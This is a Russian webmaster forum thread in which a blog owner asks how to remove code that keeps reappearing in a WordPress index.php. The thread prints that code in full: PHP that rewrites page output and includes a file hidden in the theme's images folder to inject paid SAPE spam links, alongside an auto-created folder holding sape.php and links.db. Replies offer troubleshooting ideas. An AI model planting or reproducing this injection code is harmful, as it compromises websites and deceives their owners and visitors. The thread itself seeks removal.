Помогите убрать ЗАРАЗУ !!!

(Ответов: 3, Просмотров: 1589)
  1. Гуру
    • Регистрация: 06.09.2009
    • Сообщений: 590
    • Репутация: 33
    Ситуация такая:

    Есть блог который в свое время недолго приторговывал ссылками в сапе. Потом удалил его из сапы, удалил папки сапы на хостинге, короче готовил под GGL. Забыл за него, через время смотрю, на главной в подвале появились 2 ссылки на aweb.com.ua

    Эта "ЗАРАЗА" каким то образом прописывается в index.php (не шаблона index)

    $contents = ob_get_contents();
    ob_end_clean();

    $new_contents = "";
    $sp_script = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/default/images/401.php';
    $style="<style type=\"text/css\">\nhtml, body {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
    $style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #3E8535;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";

    while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
    {
    $new_contents.=substr($contents,0,strpos($contents ,"<a "));
    $contents=substr($contents,strpos($contents,"<a "));
    $ahref = substr($contents,0,strpos($contents,"</a>")+4);
    $contents=substr($contents,strpos($contents,"</a>")+4);
    if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"http://www.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
    !strpos($ahref,"href='http://www.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
    { $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
    $new_contents.= $ahref;
    }
    $new_contents.=$contents;

    if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
    {
    $new_contents = str_replace("</head>",$style."</head>",$new_contents);
    $new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
    echo substr($new_contents,0,strpos($new_contents,"</body>"));
    require_once($sp_script);
    echo substr($new_contents,strpos($new_contents,"</body>"));
    }
    else { echo $new_contents; }

    также автоматом создается папка eb1b561d52c8264cf0bedc36d0e9c901 и вней sape.php и links.db

    В index.php убираю, оно потом опять появляется, ПОСОВЕТУЙТЕ

    Заранее спасибо.

    Эта походу тема, которую продают на форумах по поднятию ТИЦ (с софтом которая)
    • 0
  2. Я из admitad :) Аватар для terehoff
    • Регистрация: 15.07.2009
    • Сообщений: 2,605
    • Записей в дневнике: 18
    • Репутация: 1150
    • Webmoney BL: ?
    А пробовал обновить движок wordpress ?
    • 0
  3. Гуру
    • Регистрация: 06.09.2009
    • Сообщений: 590
    • Репутация: 33
    да, не помогло, может это где-то в БД там засело т.к имхо если бы блога не было в сапе раньше то такой метод не прокатил бы
    • 0
  4. Студент Аватар для Фёдор
    • Регистрация: 20.01.2010
    • Сообщений: 94
    • Записей в дневнике: 10
    • Репутация: 179
    • Webmoney BL: ?
    Несколько вопросов.
    Папка сапы совпадает с Вашей (имя)? Или это чья-то ещё?
    Права (CHMOD) на корневую директорию какие?
    • 0

Похожие темы

Темы Раздел Ответов Последний пост
Как убрать порнобаннер
Оффтоп и свободные темы 15 05.06.2011 13:56
Как убрать FriendFeed?
Социальные сети 0 18.04.2010 01:24
Как убрать банеры?
Партнерские программы 3 26.12.2009 17:19

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры